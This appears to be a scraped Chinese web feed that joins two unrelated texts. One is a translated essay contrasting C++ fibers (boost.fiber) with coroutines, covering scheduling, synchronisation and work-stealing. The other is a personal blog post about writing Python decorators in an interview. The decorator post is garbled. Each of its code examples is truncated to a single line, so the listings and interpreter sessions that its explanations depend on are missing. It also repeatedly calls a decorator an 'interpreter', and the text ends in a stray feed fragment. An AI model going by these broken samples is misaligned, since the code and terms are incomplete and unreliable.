纤程在概念上与内核线程相似。实际上,即将推出的纤程库建议有意模仿std::thread API的大部分内容。它提供纤程本地存储。它提供了几种不同的纤程mutex。它提供了condition_variables和barriers。它提供有界和无界的队列。它提供feature,shared_future,promise和packaged_task。这些面向纤程的同步机制不同于它们的线程,因为当(比如说)一个mutex阻塞了它的调用者时,它只会阻塞调用它的纤程 - 而不是这个纤程所在运行的整个线程。
当纤程阻塞时,它不能假定调度器会在它的等待条件满足的时候唤醒它。满足这种条件标志着等待中的纤程准备就绪;最终调度器对选择准备好的纤程进行调度。
纤程和内核线程之间的主要区别在于纤程使用协作式上下文切换,而不是预先分割时间片。同一内核线程上的两个纤程不能同时在不同的处理器内核上运行。在特定内核线程中,任何时刻最多只有一个纤程在运行。
这有几个含义:
纤程上下文切换不涉及内核:它完全发生在用户空间中。这使得纤程实现切换上下文的速度明显快于线程上下文切换。
同一线程中的两个纤程不能同时执行。这可以极大地简化这些纤程之间的数据共享:同一个线程中的两个纤程不可能相互竞争。因此,在特定线程的区域内,不需要锁定共享数据。
纤程的编程者必须小心地将自发的上下文切换分散到长时间的CPU绑定操作中。由于纤程环境切换是完全协作式的,如果没有这种预防措施,纤程库不能保证每根纤程的运行。
一个调用阻塞调用者线程的标准库或操作系统函数的纤程实际上将阻塞其运行的整个线程,包括同一线程上的所有其他纤程。纤程的编程者必须注意使用异步 I/O 操作,或使用纤程阻塞而不是线程阻塞的操作。
实际上,纤程扩展了并发分类:
当您想要启动一个(可能很复杂的)异步I / O操作序列时,特别是当必须根据其结果进行迭代或决策时,纤程很有用。
单一的纤程可用于执行并发异步读取操作,将其结果汇总到纤程专用队列中供其他纤程使用。
纤程对于在事件驱动程序中组织响应代码很有用。通常情况下,这样的程序中的事件处理程序不能阻塞调用它的线程:这会停顿所有其他事件(如鼠标移动)的处理程序。处理程序必须使用异步 I/O 而不是阻塞 I/O。纤程允许处理程序在完成异步 I/O 操作后恢复,而不是将后续逻辑分解为完全不同的处理程序。
可以使用纤程来实现任务处理框架来解决C10K-问题 [^1]
例如严格的fork-join任务并行 [^5] 支持两种风格 - fully-strict computation [^5] (没有任何任务可以继续,直到它join它的所有子任务)和 terminally-strict computations[^5] (子任务只在处理结束时才连接) 。
此外,不同的调度策略也是可能的: work-stealing和continuation-stealing。
对于 work-stealing,调度器创建一个子任务(子纤程)并立即返回给调用者。根据可用资源(CPU等),每个子任务(子级纤程)可以执行或者被调度器“窃取”。
对于continuation-stealing,调度程序立即执行生成的子任务(子级纤程)。由于资源可用,剩余的功能(续)被调度程序“窃取”。
协程被实例化并被调用。当调用者调用协程时,控制立即转入该协程;当协程yield时,控制立即返回给其调用者(或者在对称协程的情况下,返回给下一个协程)。
协程没有独立于调用者的概念性生命周期。调用代码实例化一个协程,并将控制权来回传递一段时间,然后销毁它。说“挂起”协程是没有意义的。说“阻塞”协程也是没有意义的:协程库不提供调度器。协程库不提供同步协程的工具:协程已经是同步的。
协程不像线程。一个协程更接近于一个具有语义扩展的普通函数:将控制传递给调用者,期望在稍后恢复到完全相同的点。当调用者恢复一个协程时,控制转移是立即的。没有中介,也没有代理决定下一步恢复哪个协程。
通常情况下,当消费者代码调用生产者函数来获取一个值时,生产者必须返回消费者一个值,忽略其所有本地状态。 协程允许你编写生产者代码,(通过函数调用)将值推送给使用函数调用拉取它的消费者。
例如,协程可以应用回调(如从SAX解析器)到消费者显式请求的值。
此外,所提出的协程库提供了生成器协程上的迭代器,因此来自生产者的一系列值可以直接传递到STL算法中。 例如,这可以用来使树形结构扁平。
协程可以链接在一起:协程源可以通过一个或多个过滤协程提供值,然后这些值最终传递给消费者代码。
在所有上面的例子中,正如每个协程的使用一样,生产者和消费者之间的握手是直接而没有间隔的。
作者提供了即将推出的纤程库(boost.fiber[^3])的参考实现。参考实现完全用可移植的C ++编码;实际上它的原始实现完全在C ++ 03中。
这是可能的,因为纤程库的参考实现建立在提供上下文管理的boost.coroutine[^2]上。纤程库通过添加调度器和上述同步机制来扩展协程库。
当然,也可以在纤程上实现协程。但是就协程而言,这些概念更加巧妙地映射到实现纤程。相应的操作是:
当协程yield时,它将控制直接传递给其调用者(或者在对称协程的情况是一个特定其他协程)。
当纤程阻塞时,它会将控制隐式传递给纤程调度器。协程没有调度程序,因为它们不需要调度程序。
希望本文能够帮助阐明所提出的协程库中的一些已知遗漏,以便读者将所需的功能与协程库方案和即将推出的纤程库方案联系起来
[^1]: The C10K problem, Dan Kegel
[^2]: boost.coroutine
[^3]: boost.fiber
[^4]: N3708: A proposal to add coroutines to the C++ standard library
[^5]: N3832: Task Region
[^6]: N3985: A proposal to add coroutines to the C++ standard library (Revision 1)
使用装饰器的目的是更好地复用代码。使用装饰器可以在原有函数的基础上添加一些功能而不用对函数进行修改。
当被问及怎么写一个解释器的时候,因为没做好要被问Python问题的准备。然后就写出了下面这个错误的版本:(当时是手写的,因此没有办法执行而看到结果)
1 | def wrapper1(func): |
装饰器是接受一个函数返回一个函数,我以为它的作用是每次都给包上这个函数,从而达到每次都执行的目的。
但是实际如果在解释器中运行的话,就能看到发生了什么事情:
1 | In [1]: def wrapper1(func): |
在定义tempFunc
的时候,可以看到已经有了一个输出,但是使用这个函数的时候却没有输出。
这是我以为会发生的事情,每一次调用tempFunc都会执行下面的这个操作:
1 | wrapper1(tempFunc)() |
如果是这样的话,上面那种写法是没有问题的。
但是实际发生的情况是:
1 | tempFunc = wrapper1(tempFunc) # 相当于只执行一次 |
在知道了原理是这样的之后,我们才能将程序写对。
1 | def wrapper2(func): |
这样我们能得到正确的解释器。
1 | In [8]: @wrapper2 |
这其中用到了一些python可变参数写法,但是其实并不是特别的麻烦。
装饰器也是可以带参数的。我们还是需要返回一个函数,只是这个函数
1 | def wrapper3(text): |
实际使用结果:
1 | In [12]: @wrapper3('hello') |
其实理解起来也并不难,我们对这个函数做的操作是这样的:
1 | tempFunc = ((wrapper3('hello'))(tempFunc))() |
所以我们需要做的是,接受一个参数,返回一个普通的装饰器。然后这个装饰器中又是接受一个函数,返回一个函数的。
想起了当时考官戏谑的眼神……
]]>